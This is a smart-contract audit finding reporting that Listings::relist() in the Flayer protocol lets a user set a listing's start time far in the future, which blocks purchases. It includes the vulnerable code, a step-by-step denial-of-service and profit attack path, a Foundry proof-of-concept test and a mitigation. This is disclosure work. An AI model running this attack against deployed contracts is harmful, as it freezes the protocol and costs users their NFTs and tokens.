Tiny Plastic Hyena

High

# Listings::relist() allows users to put listing start date into the future

### Summary

relist() is missing the logic that sets the "created" (start time) field in the listing struct. This allows the user to set any possible time, including far into the future, which keeps users from buying it.

### Root Cause

In relist() the listing struct is read directly from user supplied calldata with no checks to make sure the "created" field makes sense and no modifications made to said field.
[Link to function.](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L625-L672)
```solidity
    function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
        ...
        // Load our new Listing into memory
@>      Listing memory listing = _listing.listing;

        ... // @audit between loading and storing the listing nothing checks or changes the "created" field

        // Store our listing into our Listing mappings
@>      _listings[_collection][_tokenId] = listing;
```

When a new listing is created via createListings() or createLiquidationListing(), _mapListings() does the job of [setting the start time](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L245-L251) of the listing. No such logic exists in relist().

```solidity
    function _mapListings(CreateListing calldata _createListing, uint _tokenIds) private returns (uint tokensReceived_) {
        // Loop through our tokens
        for (uint i; i < _tokenIds; ++i) {
            // Create our initial listing and update the timestamp of the listing creation to now
            _listings[_createListing.collection][_createListing.tokenIds[i]] = Listing({
                owner: _createListing.listing.owner,
@>              created: uint40(block.timestamp), // @audit this is where the timestamp is set
                duration: _createListing.listing.duration,
                floorMultiple: _createListing.listing.floorMultiple
            });
```

This goes beyond dodging fees - users cannot [buy future dated listings](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L855-L859):
```solidity
    function getListingPrice(address _collection, uint _tokenId) public view returns (bool isAvailable_, uint price_) {
        ...
        // This is an edge case, but protects against potential future logic. If the
        // listing starts in the future, then we can't sell the listing.
        if (listing.created > block.timestamp) {
            return (isAvailable_, totalPrice); // @audit - this returns false for isAvailable, making any purchases revert
        }
```

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

DOS portion:
1. If no floor price listings are available, the attacker buys one directly from Locker and lists it.
2. The attacker relists a floor price listing for 1.01 fTokens far into the future, paying almost nothing in listing fees.
3. The attacker repeats until all floor priced NFTs are locked forever. The protocol is essentially frozen.
Profit portion:
4. The value of fTokens plummets, users can't redeem them for NFTs so they sell them in the uniswap pool
5. The attack scoops them up for cheap, uses them to cancel his or her listings and sells the NFTs on another marketplace

### Impact

This is a protocol ending DOS attack. Any NFT listed close to the floor price would be trivially inexpensive to lock out of existence forever. The attacker could set a price of 1.01 floor tokens and a short duration so as to pay almost no tax up front, but set the start time thousands of years in the future. Users are not permitted to buy listings with a future start date so the protocol would grind to a halt and the NFTs would be lost forever, and the fTokens would become worthless. Additionally, the attacker could cancel listings at any time, allowing for the attacker to buy the now worthless fTokens and use them to take the listings off of the protocol and turn a large profit.

### PoC

Please copy and paste the following into Listings.t.sol:
```solidity
function test_RelistToInfinity() public {
        address user = makeAddr("user");
        erc721a.mint(user, 5);

        // a user creates listing
        vm.startPrank(user);
        erc721a.approve(address(listings), 5);
        IListings.CreateListing[] memory _listings = new IListings.CreateListing[](1);
        _listings[0] = IListings.CreateListing({
            collection: address(erc721a),
            tokenIds: _tokenIdToArray(5),
            listing: IListings.Listing({
                owner: payable(user),
                created: uint40(block.timestamp),
                duration: 7 days,
                floorMultiple: 110
            })
        });
        listings.createListings(_listings);
        
        
        // a relister purchases the asset but sets the date to the far future
        address relister = makeAddr("relister");
        deal(address(locker.collectionToken(address(erc721a))), relister, 1.5 ether);

        vm.startPrank(relister);
        locker.collectionToken(address(erc721a)).approve(address(listings), type(uint).max);

        uint[][] memory tokenIdsOut = new uint[][](1);
        tokenIdsOut[0] = new uint[](1);
        tokenIdsOut[0][0] = 5;
        IListings.FillListingsParams memory fillParams = IListings.FillListingsParams({
                collection: address(erc721a),
                tokenIdsOut: tokenIdsOut
        });

        uint[] memory tokenIds = new uint[](1);
        tokenIds[0] = 5;

        listings.relist(IListings.CreateListing({
            collection: address(erc721a),
            tokenIds: tokenIds,
            listing: IListings.Listing({
                owner: payable(relister),
                // MAXIMUM TIME
                created: uint40(type(uint40).max - 20 days),
                duration: 7 days,
                // MAXIMUM PRICE
                floorMultiple: 1000
            })
        }), false);

        // 10,000 years pass but the listing remains unchanged
        vm.warp(block.timestamp + 365 days * 10_000);
        (,uint256 price) = listings.getListingPrice(address(erc721a), 5);
        assertEq(price, 10e18);
    }
```

### Mitigation

Set "created" to block.timestamp in relist()